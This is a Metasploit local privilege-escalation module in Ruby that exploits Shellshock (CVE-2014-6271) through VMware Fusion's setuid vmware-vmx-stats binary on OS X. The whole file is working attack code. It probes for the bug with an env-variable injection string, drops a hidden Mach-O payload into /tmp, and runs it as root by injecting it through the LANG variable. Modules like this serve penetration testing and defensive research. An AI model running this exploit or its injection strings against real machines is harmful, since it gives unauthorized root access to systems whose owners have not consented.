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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
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        'Description' => %q{
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          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
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          handles external environment variables. This module targets the VMWare Fusion
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          application, allowing an unprivileged local user to get root access.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Stephane Chazelas', # discovered the bash bug
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          'juken', # discovered the VMWare priv esc
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          'joev', # msf module
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          'mubix' # vmware-vmx-stats
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        ],
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        'References' => [
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          [ 'CVE', '2014-6271' ],
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          [ 'CWE', '94' ],
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          [ 'OSVDB', '112004' ],
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          [ 'EDB', '34765' ]
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        ],
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        'Platform' => 'osx',
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        'Arch' => [ ARCH_X64 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [
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          [
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            'Mac OS X 10.9 Mavericks x64 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X64
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2014-09-24',
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        'Notes' => {
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          'AKA' => ['Shellshock'],
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          'Stability' => UNKNOWN_STABILITY,
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options [
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      OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
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    ]
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
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    ]
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def upload(path, data)
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    print_status "Writing '#{path}' (#{data.size} bytes) ..."
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    write_file path, data
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    register_file_for_cleanup path
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  end
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  def check
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    check_str = Rex::Text.rand_text_alphanumeric(5)
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    # ensure they are vulnerable to bash env variable bug
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    if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
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       cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
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      CheckCode::Vulnerable
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    if check != CheckCode::Vulnerable
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
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    exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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    upload payload_file, exe
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    cmd_exec "chmod +x #{payload_file}"
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    print_status 'Running VMWare services...'
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    path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
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    cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
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  end
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end
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